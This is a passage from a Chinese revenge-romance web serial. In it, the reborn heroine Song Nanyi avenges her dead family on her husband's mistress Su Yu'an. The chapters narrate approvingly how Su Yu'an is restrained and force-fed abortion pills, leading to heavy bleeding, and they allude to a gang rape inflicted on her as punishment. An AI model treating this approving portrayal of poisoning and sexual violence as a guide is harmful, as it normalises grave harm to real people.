宋南伊似乎很满意,起身,“那带我去见苏语安吧。”
霍时序很想问。
宋南伊见苏语安的目的。
但又觉得,这话不应该问。
苏语安雇凶害死了宋星言,无论宋南伊想怎样,他都会配合。
“好。”
去往苏语安住处的路上。
宋南伊一言不发。
眼神一瞬不瞬地盯着前方的路。
她的美丽还在,只是没了灵魂。
他也能理解,宋家短短几天就走两位亲人,宋南伊无法抽身。
轻轻地握住她的手,“南伊,你还有我。”
他想给她依靠,就像从前一样。
“你?”她温和地笑着,像只柔软的小猫,语调却冷得要命,“你是我的吗?”
她的话,冰得他心疼。
一时的错误决定,令两个相爱的人,从此有了隔阂。
想要弥补,难如登天。
“南伊,过几天,我带你出去散散心,我们许久没有一起出去过了。”
她只是笑着。
像听一个笑话。
车子兜兜转转。
开进了一个相对封闭的小区。
站在楼下,宋南伊看着这个高档的公寓楼,念了句,“这房子,写的是苏语安的名字吗?”
“不是。”他说。
江淮从楼上下来,“霍总,太太,你们过来了。”
“江特助,一会儿,还要请你帮个忙。”宋南伊递了个红包过去,“这个还请你收下,算是劳务费吧。”
江淮心惊。
忙推辞,“太太,您有什么吩咐只管说,红包就不用了。”
“拿着吧,一会儿,可能要费点力气,你收了红包,我才安心。”宋南伊坚持。
江淮看向霍时序。
霍时序点了点头,他便收下了,“谢谢太太。”
电梯上行。
江淮在前面带路。
宋南伊第一次踏入到了,这个金屋藏娇的地方。
房子是好几百米的大平层。
各种家具家电,一应俱全。
中式装修,古色古香,再加上名人字画,和古董的装饰,透着一股子金钱的味道。
“霍时序,你在这儿住得还舒服吗?”她看着房间,好似不经意地问。
霍时序没有回答。
江淮赶紧替他解释,“太太,霍总他,不在这儿住。”
宋南伊笑笑。
往宽厚的沙发里坐下,“江特助,还麻烦你请苏小姐出来。”
“是。”
江淮往最尽头的那个卧室走了过去。
推开门。
苏语安精神涣散地窝在墙角。
她怀里抱着一个男人的照片。
像是要护住一般的。
看到江淮进来,一个劲地傻笑。
真傻假傻,无从分辨,精神失常倒是有几分。
毕竟,没几个人,能受得住,在自己过世的爱人照片面前,被几个壮汉轮流占有。
那样的刺激。
身为男人的江淮,也有几分感慨的。
一想到她做的那些,丧尽天良的坏事。
又不觉得她有多可怜。
至少现在,她还活着。
江淮走过去,用绳子将她的手腕绑好,像拖一块破布一般的,将她从卧室里拖到了客厅。
苏语安一看到宋南伊。
混沌的神智,清醒了许多。
“宋南伊,你弟弟死了,你妈也死了,你们全家都快死光了。”她瞪着猩红的眼,表情夸张,扭曲,佞笑着,“你马上也会死的,你死了,最开心的就是我了……”
苏语安的脸,如同厉鬼,嘴角的笑狰狞,恶毒。
宋南伊很难忍住,不赏她个耳光。
“苏语安,这一巴掌,是我替星言打的。”宋南伊的力道狠重,打偏了苏语安的脸,接着回手又抽了一个耳光,“这一巴掌,是替我妈打的。”
“江特助,麻烦你将她摁住。”
宋南伊的声音冷静从容,不带一丝情感。
对付苏语安这种女人。
只是两巴掌,怎么对得起逝去的人命。
苏语安笑得更加癫狂。
她早已经不在意,别人怎么对她。
杀不了霍时序,杀不了宋南伊,杀了宋星言,再送一个南微,她还赚了。
“打啊,你打死我,他们也活不了,你活着就会有无尽的痛苦,这就够了。”
“宋南伊,我知道你恨我,但你最应该恨的,不是霍时序吗?如果不是他,你的家人,何苦会经受这些?”
“他才是那个罪魁祸首,他才是害死你家人的凶手,他才是那个,你要报复的人。”
苏语安望向霍时序,笑着。
男人眉眼如同滴墨。
夕阳的余晖,洒进客厅。
染红了宋南伊的半边身子。
她平静地从包里,拿出一个没有任何标识的白色药瓶。
“江特助,还请你一定要将她摁住,这药挺贵的,洒了可惜。”
江淮心惊肉跳地看向霍时序。
似在问,这里面是什么?
霍时序也不清楚。
但无论这是什么,他绝不能阻止她。
宋南伊将瓶盖拧开,走到苏语安的面前,捏住她的下巴,逼她将嘴张开。
“喜欢勾引男人是不是?喜欢怀孕生孩子对吗?喜欢报复无辜的人,更喜欢装疯卖傻……”一瓶药一二百片的量,直接倒进了苏语安的嘴里。
苏语安不想咽。
死命的挣扎。
宋南伊重重地捏着她的嘴,又灌了满满一瓶水。
连汤带水的,逼她全部咽了下去。
结果,是满意的。
宋南伊拿了胶带,将苏语安的嘴缠了起来,一圈不够就两圈,将她的嘴,彻底封严。
以免,她再吐出来。
苏语安说不了话,只是呜呜的。
“……苏语安,你不该啊,不该出现在我们的世界,更不该把手伸到我的家人身上,他们因你而死,你以为你还能活吗?”
“为什么,我放过了你们,你们却不肯放过我?为什么?”
为什么要让她承受这些痛苦。
明明该死的人,是她,还有他。
十几分钟。
苏语安痛苦得像砧板上的鱼,翻过来覆过去的。
怎么也摁不住。
江淮失色,不禁问道,“太太,您这是给喂的什么药啊?”
第64章 搂着她的腰,亲她的脖子
宋南伊喂苏语安吃下的是打胎药,如果怀孕了,那孩子肯定活不了。
如果没怀孕,子宫受到药物的刺激,无论如何也保不住。
还会大出血。
失去凝血功能。
如果送医不及时。
活着,或是死了,得看命。
“怎么?你心疼了?”
宋南伊的脸色微冷。
江淮立马止住好奇心,“没,没,我就随便问问。”
苏语安渐渐失去意识,下身开始出血。
血顺着椅子,滴滴答答,很快屋里全是令人反胃的血腥味。
江淮有些不知道怎么办好。
这血流的速度,如果不及时止住,大抵得死。
“霍总,苏小姐情况不妙,送医院吗?”
还在现场的宋南伊,淡淡看向了霍时序。
他未与她对视。
也是用同样平淡,毫无起伏的语气说,“打急救电话。”
宋南伊讥诮地笑了。
她像是在确定什么似的,“霍时序,你要救她?”
“她现在……还不能死。”他的话,异常艰难,像是为自己辩解,又像是为宋南伊,“死一个人,跟死一只小狗小猫不一样,我不想让你惹上麻烦。”
“真是这样吗?”
他明明又跟她站在了对立面。
却在美化自己,事事为她着想。
“霍时序,其实,人间的夫妻,和阴间的夫妻,都是一样的。”她盯着他有些着急的侧脸,腔调讥讽,“你何必拘泥于一种呢,她死了,你可以跟着去,至于我,我无所谓的。”
“我先送你回家休息。”他回避了她的嘲讽。
他知道她有气。
苏语安被她这么一通折腾。
不死也丢半条命,原定于月底前往挪威的计划就得推迟。
这已经是他最大的容忍限度。
他足够对得起她了。
……
一连很多天,霍时序没有回家。
宋南伊猜,他大概是心疼坏了。
毕竟这孩子没了还是次要,苏语安伤得应该不轻。
他应该恨死她了。
恨吧,反正她也在恨着他。
宋南伊回了娘家。
宋知令的状态一直没有恢复。
公司里的事情,他交给了副总,天天把自己关在家里,抱着南微和宋星言的照片发呆。
“爸,人家说,五七这一天,是亡魂离开这个世界的时候,妈和星言的五七快到了,你有什么想说的,到时,一定要跟他讲讲,他们会听到的。”
宋南伊声音浅浅淡淡的。
每一个字,都是对父亲的心疼。
宋知令垂眸看向,半蹲在自己面前的女儿,轻轻地点头,“会的,我有好多好多的话,要跟你妈讲,要跟星言讲,我想问问你妈冷不冷,想问问星言,有没有收到山地车……”
宋知令哽咽了。
声音哑得不行。
宋南伊轻轻握着他的手,很是难受,“爸,别难过了,妈和星言最希望我们能开心,能快乐不是吗?”
“我们还能快乐吗?南伊。”
宋南伊也不知道。
至少当下,甚至往后的几年,他们是无法快乐的。
至亲的离开,就是一场淅淅沥沥的小雨。
一直下,一直下……
……
宋星言和南微五七这一天的祭奠。
霍时序不出意外地没有出现。
苏语安被喂药后,生命垂危,一直在重症监护室和手术室里来回徘徊。
霍时序为了这事,焦头烂额。
宋南伊挺解气的。
但苏语安至今没死,她还是有些遗憾的。
裴吟来了。
她订了很多祭奠用品。
帮着苏楚将这些东西,一一在墓前烧掉。
陆为谦也来了。
他说送南微和宋星言最后一程。
宋南伊是感激的。
他们重情重义,比霍时序强太多了。
祭奠完后。
陆为谦说了很多宽慰宋南伊的话,本想着一起坐坐,家里电话催他,他便抱歉地提前离开。
宋南伊和裴吟找了家咖啡厅,坐下说话。
“那个苏语安命挺大的,一大瓶的打胎药下去,都没死?那药可是国外给牲口打胎用的,还真是坏人万万年。”
裴吟感叹世道不公。
坏人,应该早点下地狱。
宋南伊哂。
苏语安活着,不是她命大。
是霍时序拼尽了全力救她。
你看。
他就是这么爱她。
“裴吟,有霍时序在,苏语安死不了的。”他们可以锁死,但她不想把余生耗在这两个人身上,“星言急救的时候,我答应过霍时序,不跟他离婚,还会跟他生个孩子……”
“什么?”裴吟当场炸毛,“这种脏货,你不跟他离婚,还要跟他生个孩子?宋南伊,你是不是疯了?星言和阿姨可都是因为这两个贱人,才……”
“当时情况紧急,我很怕他不给星言输血,所以才……”
其实,现在回想。
她当时是有点冲动。
但不后悔。
再来一次,在救星言这事上,她也会这样选择。
裴吟明白宋南伊当时的心情。
但对付霍时序这种贱狗。
没必要讲诚信的,“承诺归承诺,不遵守就好了。”
“谈何容易。”
“要不假死吧。”裴吟出主意,“先离开他再说,霍时序这种人不正常,你要跟他再在一起,早晚被他和那个小贱人气死。”
宋南伊笑着。
轻轻的搅动着杯中的咖啡。
“假死?这样多没意思。”
裴吟一怔,“那你是……有想法了?”
宋南伊心里有个不成型的计划。
正在悄然酝酿。
杀人没意思的,诛心让能让他生不如死。
前世,他让她惨死。
这一世,因为他,她的亲人也故去。
这一笔笔的血债。
她会一一讨回来。
“裴吟,我真的好累。”
“你还有我啊,我会一直一直一直陪着你,直到你离开那条贱狗。”裴吟给了宋南伊一个加油的眼神。
宋南伊知足地笑了。
是啊。
这一世有裴吟陪着她。
她并不孤单。
……
几天后。
霍时序回来了。
身上有淡淡的酒气。
他兴致很高,搂着宋南伊,想去吻她,被推开。
“我就是今天高兴,喝了几杯红酒,你要嫌弃,我去洗澡。”
他是有些急的。
宋南伊脸色微凉。
男女之间那点子事,实在是没有意思。
况且,他们之间不止没有爱那么简单。
有恨,深仇大恨。
待霍时序洗出澡来后。
宋南伊已经上床睡下了。
兴许是喝了酒的缘故,他粘人的厉害,搂着她的腰,亲她的脖子。
“抱歉啊,这几天一直在忙,我应该好好陪陪你的。”
“没事。”
他对她而言,已经不是爱人,更不是亲人。
她的懂事,令他更加的愧疚。
他其实很想跟她,交代一些事情。
但又不知道,该如何说出口。
“南伊,等你的心情好了,我们去一趟挪威吧。”
夜色阑珊。
静的可以听彼此的呼吸。
“怎么,上次跟苏语安去,没尽兴?”
第65章 咽不下这口气
她不想冷嘲热讽的。
实在是没有忍住。
霍时序并没有在意,淡笑,“你跟她怎么能一样呢。”
“不一样在哪儿?”她反问。
霍时序说不上来。
又是一通沉默。
“南伊,我想跟你好好的走下去,你知道的,我那么爱你,我的人生不可能没有你,过去的就让它过去吧,好吗?”
宋南伊苦涩。
他说得好轻巧。
过去的就过去。
鲜血淋漓的三条人命,她如何能过去?
而他所谓的爱又是什么呢?
有人陪时,他可以整夜整夜地不回家。
无人陪时,他可以在她这里找到温暖。
凭什么?
她不是他的狗,招招手,她就要舔过去。
他们之间,是有血债的。
“我累了。”
她不想跟他做这种无效的沟通。
她的心早就死了。
每多说一句话,都是在浪费时间。
宋南伊将霍时序的大手拿开,关灯睡觉。
男人吃了瘪。
有气无处撒。
这一夜,也就这么平安无事的过去了。
……
翌日。
宋南伊特意去了苏语安治疗的医院,打听了一下。
她从死亡线上拉了回来,转到了普通病房。
也难怪,昨天晚上,霍时序会高兴地喝酒。
站在病房的门口。
透过门上的透明玻璃。
斑驳的光线下,宋南伊看到的是苏语安苍白,毫无血色的脸。
手腕上那三条同时输液的管子,提示着,就算活过来,也不并好。
宋南伊的心里有点解气,但不多。
凭什么,她害死自己的亲人,仍然可以活着。
上天不可以,这么不公平。
走出医院。
宋南伊开车去见了一个人。
她是苏语安死去男友郑拓的母亲,叫白梅。
“你认识苏语安吗?”宋南伊开门见山,懒得浪费时间。
白梅不解地看向宋南伊,“你……是语安的朋友吗?”
“认识。”
白梅眉眼透出不解和防备,“那你找我是……”
“我听说,她是你的儿媳妇?”
“虽然她跟我儿子没有结婚,但她很爱我的儿子,我也已经当她是一家人了。”白梅不知道这个眼生又漂亮的女人,到底想说什么,心中隐隐有些不安,“语安她……是不是出事了?”
“倒也不是什么大事,就是她……做了我老公的小三。”宋南伊向白梅展示了,很多张,苏语安和霍时序在一起时,拍的照片,“他们在一起有段时间了,她打给你的钱,也是我老公给她的。”
“什么?”白梅拿起照片,看着熟悉的女人和陌生的男人,惊愕不已,“她怎么可以这样……,她口口声声说爱我们家郑拓的,她怎么……这么不要脸啊。”
亏她还把苏语安当成女儿。
还觉得她挺孝顺的。
竟然干这么上不了台面的事情。
白梅以为宋南伊是来问她要钱的。
放下照片后,吱吱唔唔地说,“那钱,是苏语安给我的,你要是想拿回去,就找她要,我可没有。”
“你别紧张。”
宋南伊亲自给她倒了杯咖啡。
“阿姨,我们都是结过婚的人,我知道你跟我一样,最痛恨的就是小三……”
宋南伊之所以如此肯定。
是她找到白梅之前,就已经将她的家庭情况都了解个透彻。
白梅的老公,从年轻时就不安分,赚的钱全部用来在外面养女人。
现如今五十开外,还在外面养着一个三十岁的风尘女。
家不回也就算了。
一分家用也不给白梅。
对小三,她是恨的。
宋南伊看到白梅的脸色变了。
她猜,这女人是想起了自己那出轨的老公。
“阿姨,现在的小姑娘,可了不得呢,那看到有钱的男人,就像鲨鱼闻到了血腥味,才不管这男的,有没有家庭,有没有老婆孩子,没什么底线,倒也是常态。”
“但是,她在你的面前,演一往情深,我觉得多少是说不过去了……”宋南伊优雅地端起咖啡轻啜了一口,“……说句难听的,她这是消费死人啊,一边悼念着您死去的儿子,在您面前演痴情,演孝顺,实则啊……跟我们家老公……”
宋南伊刻意压低了声音,无耐叹了口,“……孩子都有了。”
“啥?孩子都有了?”白梅瞠目结舌。
宋南伊微微点头,姿态从容地抿唇,“不过老天开眼啊,那孩子被我打掉了。”
“打得好,这种贱货,就应该让她生不出来。”白梅紧紧地握着茶杯,一饮而尽,“亏我,还以为她一直爱着我们家郑拓,她真的是太会演了,怪不得每次跟我见面,她都穿金戴银的,脏,真脏。”
“阿姨,我看你啊,也是明事理的人。”宋南伊掩着眼角,故作伤心,“现在苏语安打了胎,在医院里养着呢,这要是养好了,又得骗你,又得跟我们家那口子纠缠不清的,我实是咽不下这口气啊。”
宋南伊从包里拿出一个厚厚的信封。
轻轻地推到了白梅的面前。
“阿姨,我知道,你被她瞒得很苦,我们还真是同病相怜,我只想请阿姨你,劝劝苏语安,不要再破坏我的家庭了。”
白梅看了一眼信封的厚度。
粗略地预估了里面的金额。
立马眼里有了光。
金钱对她来说,是绝对的诱惑力。
“这儿媳妇啊,我是不能再认了,但她拿我当猴耍,这口气,我也着实是咽不下去。”白梅将信封拿起来,装进了自己的包里,“阿姨生平啊,最恨这种抢男人的贱货,你放心,我现在就去找她,好好说道说道。”
“阿姨,还是你理解人。”宋南伊递出一抹欣慰的感激,“辛苦了。”
咖啡厅里,音乐悠扬。
宋南伊目送着白梅离开,唇角扬起一抹浅淡的弧度。
阳光很好,但并不温暖。
她端着咖啡看向窗外的世界。
咖啡很苦。
像她的前世今生。
……
几刻钟后。
她走出了咖啡厅。
巧的是。
热闹的江城大街,正在上演,当街抓小三的精彩戏码。
事业有成的中年男人,衣服凌乱的年轻女孩,暴怒的原配,和发了疯的家人。
相互撕扯,怒骂,质问,委屈,哭声……
此起彼伏。
“听说这男的是靠原配家,才将事业做起来的,这原配的父亲刚死,他就迫不及待地,带着小三,招摇过市,嘴脸真的是丑陋。”
“原配是什么?原配就是那个,陪你一起吃苦的人,至于享福嘛,那就得换人了。”
“你刚刚听到这男人的说什么了吗?他说,他和那小三是真爱,妈呀,他都四十多了吧,那小三,看起来也不过才二十岁,他都能当人家爹了,还真爱,真恶心才是。”
“男人嘛,就是这副德性,永远喜欢年轻的,这原配还怀孕了……唉,你看到了吗?那男人把原配推倒了,真不是个东西,我看这孩子也悬了。”
第66章 千人骑万人踏的
路人的话。
一句接一句地传进了宋南伊的耳朵里。
男人一旦有了钱,就抵不过新鲜的刺激。
女人,不过是他们强行自信的筹码。
骨子,还是自卑的。
花点钱,站自己腰杆直一直,倒也无可厚非。
但把这点心计,都用在婚姻上,伤害真心实意陪伴他的另一伴,就该死。
抓小三的现场,还是一片混乱。
无论第三者以怎样的姿态,闯入原本幸福的婚姻。
结局,只有一个,原配彻底滚出他们的世界。
谁又能咽下这口气呢。
豪门婚姻表面上的体面,用原配的忍气吞声换来风平浪静。
不像这些平凡的人家。
可以不顾脸面的,在大街上撕扯,要一个公道。
她深谙阴暗爬行的道理。
转身。
宋南伊去了一家奢侈品店。
狂刷了几百万。
霍时序收到手机短信时,当即是有点意外。
震惊的不是刷卡的金额,是宋南伊终于肯用他的卡消费了。
别说。
他心里还有一丝丝的舒畅。
一个电话打了过去。
声音温柔,“喂?南伊,买什么东西了?”
“买了一些喜欢的。”宋南伊音色平静,就像从前一样,“不过,有几款限量版的包包,比较贵一些。”
“没关系,喜欢就买。”
女人甜腻地回了句,“谢谢老公。”
一句老公,叫得霍时序,心神荡漾。
久违的感觉,涌上头上。
连腰杆也挺直了不少。
“跟老公不用客气。”
宋南伊确实没有客气。
几天后,她转头又将购买的这些奢侈品,全部退货,套现后,转捐给了公益组织。
然后。
再次刷霍时序的银行卡,又购买了大批的奢侈品。
短短一个月的时间。
她刷出了几千万。
江淮月底对账的时候,脸比苦瓜和还苦,“霍总,太太最近消费有点猛啊,这是账单,您看一眼。”
霍时序抬了抬手指。
并未在意。
“没事,又不是养不起。”
“我的意思是……太太,以前虽然也消费买这买那的,但极少一个月刷走几千万,我觉得不太正常。”
江淮声音越说越低。
霍时序明白他的意思。
“星言和岳母相继去世,南伊心里苦,靠购物疏解一下,这很正常,别大惊小怪的,我赚钱不就是给她花的吗?”
霍时序不在意。
江淮也没在继续。
随即提到了苏语安,“霍总,苏语安的身体总算是有好转,不过,以她目前的恢复程度,恐怕近期难以去往挪威那边,当下又找不到合适的人选……”
“催促实验室那边,我需要他们加快速度,研制出可靠的药物。”
江淮点头,“好的。”
……
医院里。
苏语安看到白梅过来。
强撑着身子,坐了起来,“阿姨,你怎么来了?”
“苏语安,你骗我骗得好惨啊。”白梅难色难看,眉眼间,由原来的喜欢,也换成了厌恶,“你口口声声地说着爱我们家郑拓,要为他报仇,你就是这么报的吗?”
“阿姨,你在说什么?我是要为郑拓报仇的啊。”
苏语安很重视郑拓的家人。
尤其是白梅,她是当成亲妈来照顾的。
“阿姨,你是不是误会什么了?”
白梅冷着脸,“我没有误会,你自己做了什么,你自己知道。”
“阿姨,你还是说清楚一点。”
苏语安的态度,令白梅心冷。
以前她觉得苏语安温柔,懂事,人也单纯。
现在来看,她这一切都是装的。
“还要说清楚?那我问你,你为什么会在医院里?”
苏语安不好解释这事,用了,不舒服,想敷衍过去。
白梅冷笑,“不舒服?好一个不舒服,苏语安,你给有钱人当小三,被打胎才打进医院的吧?你可真不要脸,好好的人不当,去当小三,你活该啊你。”
苏语安恍然。
一定是宋南伊告诉了白梅什么。
她拼命地摇头,抱住白梅的胳膊,“不是事实,我没有,我真的没有,我爱的一直是郑拓,他死了,我的心也死了,我一心只想为他报仇,我根本不是小三。”
“你不是小三,那你给我的那些钱,是怎么来的?”白梅像甩脏东西般的,甩开苏语安,“你可真的是太不要脸了,一边在我这里刷着存在感,一边也没耽误你上别的男人的床,你脏不脏啊。”
“我没有阿姨,我真的没有。”苏语安百口莫辩。
白梅不信她。
一万个不信。
她越是这样苦苦哀求,越想解释。
白梅越觉得她是心虚。
厌恶明显,“以前我是把你当儿媳妇的,给了你许多郑拓的东西,你既然做出这种事情,就请把郑拓的东西全部还回来吧,从此以后,我们一刀两断,出去,你也别说你跟我儿子生前交往过,我丢不起这个人。”
郑拓的遗物,是苏语安活下去的勇气。
她现在已经害死宋家两个人。
马上,郑拓的仇,就要报了。
她不可以前功尽弃。
“阿姨,那个找你的女人,就是害死郑拓的那个集团总裁的太太,她说的话,你也信吗?”
白梅瞳孔震颤。
她抬手就给了苏语安一个巴掌。
指着她,激动的胸口起伏。
“也就是说,你给害死郑拓的人,当小三去了?苏语安,你这是要把我的心,撕成八块啊……”白梅拍着大腿,不顾形象地哭了起来,“我的儿啊……,你倒是在天上睁开眼,看看啊……看看你的女朋友,她竟然是这种人啊……,她给害死你的人当小三,搞大了肚子……不要脸啊,真不要脸……”
“我没有阿姨,我没有怀孕,我没有啊……”
白梅继续拍着胸口哭,边哭边骂,“早知道,她是这种人,妈在你离开后,就跟她老死不相往来,郑拓我的儿啊,妈真的被骗惨了,妈妈好难过啊……,这个千人骑万人踏的婊子,害人不浅啊……”
“阿姨,你别说得这么难听,我对郑拓是真心的……”
苏语安难受极了。
不管怎么解释。
白梅不再信她。
她啐了苏语安几口,大喊着晦气,离开了病房。
苏语安受到了打击。
大口大口地喘着气,像是被坠入了地狱一般。
“宋南伊,你好狠啊,我就是死,我也要拉上你挡垫背的……”
苏语安一口气没倒上来,直愣愣地晕了过去。
……
傍晚。
霍时序回来。
一进客厅,就看到大大小小的奢侈品包装袋,摆了一屋。
路姐走过来,接走他的外套,“先生,我看太太最近心情好了不少,这购物啊,就容易开心。”
“是吗?”他没在客厅看到宋南伊,“她人呢?”
“太太在二楼呢。”
霍时序上楼。
宋南伊正在试穿一条漂亮的裙子。
黑色的丝绸面料,露肩的设计,领口处,全部钉了上好的南洋珍珠,华贵,庄重,又透着妖娆的性感。
男人的喉结动了动。
大手缠上她的腰,“真美。”
第67章 我不想跟你做
他的声音温柔得不像话。
重生以来,宋南伊第一次在霍时序的眼里,看到了欣赏。
欣赏自己妻子的美貌,将她牢牢地掌控在自己的手里。
这是他眼睛里溢出来的讯息。
她将厌恶埋进微垂的睫毛里。
虚假地笑了笑,“母亲和星言去世,我实不适合穿太鲜亮的颜色,所以就选择了黑色。”
“你可以驾驭,这世上,任何一种颜色。”他弯身,用鼻尖轻轻地蹭着她的鼻尖,“没有人,可以比得上你的美。”
这话说得挺恶心的。
宋南伊想吐。
她刚要回避的他的视线,他的指尖便抬起了她的下巴,“南伊……”
他的声音透着欲望。
而且,意图明显。
她被迫靠在他的胸口,声音清冷中,透着拒绝,“霍时序,我不想。”
“为什么不想?”
“我妈和星言刚去世还不足百天,我们实在不适合……”搬出这件事情,就算霍时序再浑蛋,也不至于强迫她。
“我明白,我去洗澡。”
霍时序走进浴室。
将水调冷……
宋南伊深呼了一口气。
手机响了一声。
**将白梅和苏语安,在医院里的争吵录像,发给了她。
看完。
她觉得挺爽的。
白梅是苏语安在郑拓死后,唯一的寄托,现在这份寄托,已经彻底没了。
她想不疯都难。
但这远远不够。
她想到了一个人……苏景晨。
……
霍时序洗完冷水澡出来。
看到宋南伊在发呆。
温柔地将她抱住,“在想什么?”
“霍时序,我最近买这么多的东西,你不会觉得我在乱花钱吧?”她将他的卡,交还给了他,自责巴拉的,“要不,你还是收回去吧,我这个人,一花钱就收不住。”
“花点钱,买开心,值得。”他吻着她的脖子,呢喃着,“南伊,我喜欢看到你开心,我喜欢看到你笑,我更喜欢,抱着你接吻,你懂吗?”
他太想她了。
好不容易,关系有了缓和。
他哪舍得放过这个机会。
虽然不能做更亲密的事情,但他能吻她,能抱着她,他已经很知足了。
与霍时序相安无事的,相处到了南微的百日忌辰。
宋星言和南微相继去世。
宋家人决定,百日祭奠一起举办。
这次祭奠很重要。
与宋家交好的,亲朋至友,都隆重出席。
这是霍时序和陆为谦,在宋家出事后,第一次正式见面。
碰撞的视线里,依旧电光火石。
“听南伊说,她暂时不打算跟你离婚了?”陆为谦言语一如既往地清淡平和。
他知道,霍时序得到机会,是怎么来的。
语调中难掩一丝讥诮。
“星言那样危险的时候,你趁人之危,开出条件,你认为,南伊她真的是真心实意的,要过下去吗?”
霍时序目光深邃,落到陆为谦的脸上。
这个男人,还在对他的妻子,抱有幻想。
这令他极为不爽。
“与你有什么关系?看来,陆家的事务还是太少了,容得了你这番闲心,管别人家的床头事。”他整理着自己的衣角,“我不介意,让陆家更为忙碌起来。”
“你根本就不懂南伊。”
“我不懂,你懂?”这样的场合,他不愿意跟陆为谦起冲突,虽然愤怒,但声音压得极低,“陆为谦,你不要太自以为是,你结过婚吗?你了解女人吗?你肯花几千万让她去买开心吗?你以为你是谁?”
“你以为这样她就快乐了吗?”陆为谦眉心皱起,“她需要的是,一份坚定的爱,在她最虚弱的时候,包裹起她,让她安心,你做到过吗?”
“我还用你来声讨了?”霍时序气的推了陆为谦一把,将他推了一个踉跄。
刚好裴吟走过来。
陆为谦差一点就撞到她。
“没事吧?”裴吟将他扶住,有些恼怒地看向霍时序,“今天是什么日子?这么重要的日子,也不顾脸面的要闹吗?霍时序,你能做个人吗?”
霍时序沉下脸。
他知道,他不该。
旋即转身离开。
裴吟知道有些话不该说,但是她还希望陆为谦,尽量不要跟霍时序硬碰硬。
“陆律师,你也不必再为南伊打抱不平了,她有自己的想法,如果她需要你或是我的帮助,会来找我们的,我们就别给她添乱了。”
“抱歉。”陆为谦懊恼,自己刚刚的冲动,“怪我。”
“也不是怪与不怪的事情,南伊其
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实有很多难处的……”裴吟不想说了,只是简单地提醒了一句,“……我们就做好分内的事情就好了。”
“好。”他应下了。
祭奠开始。
有专业的人员,做仪式。
宋南伊搀着宋知令,跟着走完整个仪式,早已泪流满面。
大家默哀。
悲伤弥漫。
霍时序的视线,始终落在宋南伊纤薄的身子上。
同时,他也无法回避,陆为谦的眼神,比他更为深情。
这是令他不快的。
当下,他必需要先忍下这些糟心。
……
送走客人。
安顿好宋知令休息。
宋家的客厅里。
只有宋南伊,裴吟,陆为谦和霍时序四个人。
沉默。
漫无边际的沉默。
谁也没有开口,讲第一句话。
不知道过了多久。
裴吟清了清嗓子,“南伊,今天累坏了吧,别太难过了,你去休息吧,好好的睡一觉。”
“裴吟,你今天留下来陪我吧。”宋南伊说。
裴吟自然没话说。
但是霍时序在这儿,怕他又要无事生非,便问了一嘴,“你没意见吧?”
“你好好陪她,我和陆律师先回去。”
霍时序说完。
就将陆为谦从沙发里揪了起来,“陆律师,你就别在这儿打扰了,一起走吧。”
陆为谦被霍时序,强迫离开。
一出宋家的门,陆为谦就推开了霍时序,“你到底想要干什么?”
“打一架吧,陆为谦。”霍时序脱下外套,将领带松开,拿下来丢掉,“别躲,也别手下留情。”
“今天这个日子,你确定要跟我打架?”陆为谦认为他太不懂事,“成年人解决问题的方式,有很多种,霍时序,我们已经不是小孩子了。”
霍时序压着眉眼,睨向他,“对于一个时刻想抢我老婆的人,只能用最野蛮的方式,来解决”
“可惜,我不是野蛮人,配合不了你。”陆为谦不想陪他疯,径直向自己的车子走去,“霍时序,打架解决不了任何事情,如果想让南伊回心转意,就去温暖她,让她感受到你的爱才是正事,男人不必在男人面前展现你的力量。”
“你怕了陆为谦?你以前可没这么胆小。”霍时序似笑非笑。
第68章 他到底行不行
陆为谦拉开车门,淡淡地望向他,“时序,你也时候要改变了,否则一切都晚了。”
随着发动机的声音。
陆为谦驱车离开。
站在阳台上的裴吟,看到,也听到了刚刚这两个男人的对话。
“这个霍时序,是不是有什么隐性大病?他除了打架还会干什么?他超雄吗?”裴吟转身走到宋南伊的身边,坐下,“这种劣质男人的基因,就得让他灭绝。”
“灭绝不了,在江城,有的是名门淑媛,对他求之不得。”宋南伊无情无绪地说。
裴吟摸着下巴,思考了一会儿,“一个男人,想让很多女人值得拥有,除了有钱有颜,就是性能力了,霍时序那方面……很强?”
这话问得点尴尬。
这种隐私性的问题,宋南伊不愿意多讲。
她越不说,裴吟越好奇,“现在这个房间里,就我们两个人,你害得哪门子羞?你就是点个男模,也得问问他多长时间吧?你就当霍时序是只鸭子,他合格吗?”
宋南伊不知道该如何讲。
只是撇嘴,“我们很久没做过了,我没那个心情。”
“不做也是对的,少了很多染病的机会,女人啊,就怕男人在外面乱来,现在艾滋病这么多,保命要紧。”
裴吟还是没放过前一个话题。
“那以前的时候,他能挺多长时间?”
宋南伊额角冒汗,“别问了,你这么好奇,要不,你自己发信息问他吧。”
“你还替他保密上了?不会是三分钟太郎吧?”
“你说是,就是吧。”宋南伊累了,现在就想睡一觉,“我先睡一会儿。”
“哎,哎,他真是……绣花枕头啊……”
……
重新回到她与霍时序的家。
宋南伊没再提过离婚这事。
她跟之前,没有两样。
只是独处的时候,她喜欢抱着膝盖,坐在那儿,发呆。
路姐切了水果送过来,小心翼翼地唤她,生怕惊到,“太太,您老是坐着也不行啊,要不去躺一会儿吧,睡一觉也行啊。”
宋南伊抬眸。
看向路姐关切的脸。
淡淡的笑了笑,“你不好奇,为什么,我不跟他离婚了吗?”
“是因为先生他,最近有在改变,对吗?”
路姐猜的。
其实,夫妻两个,早已经没有新婚燕尔那时的欢愉和恩爱。
过日子就那么回事。
时间久了。
都会变得清汤寡水。
只要有一方肯挽救,都能凑合过下去。
宋南伊许久没有说话。
“路姐,我给你讲个故事吧。”
“好啊。”
“我有个朋友,她的老公也爱上了别人,她怀孕了,她想挽回他,挽回他的爱,她给了小三很多钱,让小三离开那个男人,但小三离开的时候,却出了意外,那是她噩梦的开始……”
“后来,男人把这笔账算到了她的头上,不停在外面找各种女人,直到我的朋友因为要生宝宝推进了产室,他才讪讪来迟。”
“遗憾的是她难产了,可悲的是……他签了放弃抢救的同意书,最终……”
宋南伊闭起眼睛。
眼泪从眼角滑落。
路姐听得心脏疼,“这男人太不是人了,就因为一个小三,放弃了他的发妻,放弃了孩子吗?”
“是啊,他们曾经那么相爱,可是相爱过有什么用呢……”宋南伊苦笑着,看向路姐,“……如果你是我的朋友,你会原谅这个男人吗?”
“当然不会,我恨不得杀了他,这哪是人啊,这连畜生都不如。”路姐忿忿不平。
都说结婚是,盛装出席,迎接人间疾苦。
遇到这种男人。
真是倒了八辈子霉。
“太太,那您的这位朋友,最后……真的就……”
“她死了,连自己的孩子都没来得及看一眼。”这种痛,到现在依然剥皮剃骨。
前世,她自己一个人死。
这世,她连累家人死。
新仇旧恨之下,她如何放得下,跟霍时序好好过日子呢。
路姐一阵唏嘘。
